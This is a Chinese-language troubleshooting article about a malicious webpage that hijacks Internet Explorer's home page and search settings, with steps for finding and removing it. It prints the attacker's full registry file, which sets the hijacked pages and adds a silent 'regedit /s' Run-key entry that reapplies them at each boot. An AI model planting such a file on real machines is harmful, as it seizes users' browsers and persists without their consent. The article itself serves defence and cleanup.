傳播病毒的惡意網(wǎng)頁工作原理

其實我們大家都有過被網(wǎng)頁病毒侵犯的經(jīng)歷，比如某次網(wǎng)上漫游之后，發(fā)覺IE瀏覽器的主頁被改成了一個惡意網(wǎng)站，而且瀏覽器默認搜索引擎也被改為該惡意網(wǎng)站的搜索引擎，“導航者”被惡意網(wǎng)頁病毒侵襲了……

　　從網(wǎng)上下載了很多病毒專殺工具，檢查結果都提示“您的注冊表已經(jīng)被修改”。按下“修復”鍵，將IE設置修復如初。不想再次啟動計算機后發(fā)現(xiàn)IE主頁及搜索引擎又變回該惡意網(wǎng)站。難道是感染了什么惡性病毒?

　　分析一下：既然每次重新啟動計算機惡意網(wǎng)頁病毒出現(xiàn)，問題肯定和啟動有關了。運行“Msconfig”程序查看啟動項，里面基本上都是系統(tǒng)啟動時需要的系統(tǒng)文件，好像沒什么。突然有一項引起我的注意，項目名為“System”，項目值為“regedit /s c:/system.reg”，連忙回到C盤根目錄下找到“System.reg”，用記事本打開它，內容如下：

　　REGEDIT4

　　[HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main]

　　"Start Page"="http://****.com/"

　　"Search Page"="http://****.com/"

　　"Search Bar"="http://****.com/"

　　[HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run]

　　"system"="regedit /s c:/system.reg"

　　就是它!偽裝成系統(tǒng)文件，在“Msconfig”的啟動項中將“System.reg”前的“√”去掉(比較徹底的做法是進入注冊表，把“HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run”下的“System”項刪除)，將C盤根目錄下的“System.reg”刪除。

　　至此我們的問題就得到了解決了，重新啟動計算機后“導航者”設置不再被篡改。

　　經(jīng)驗總結：

　　1. 要常備反病毒軟件及清除惡意網(wǎng)頁病毒工具;

　　2. 一旦被這類“驅之不散”的惡意網(wǎng)頁病毒感染，用“Msconfig”工具(Windows 2000用戶可將Windows 98的System目錄中“Msconfig.exe”文件拷貝到Windows 2000的System32目錄中即可使用)查看系統(tǒng)啟動時有無異常項目;

　　3. 查找硬盤有無創(chuàng)建時間為誤入這些惡意網(wǎng)站時間的文件，特別是C盤根目錄、Program Files目錄及操作系統(tǒng)目錄下。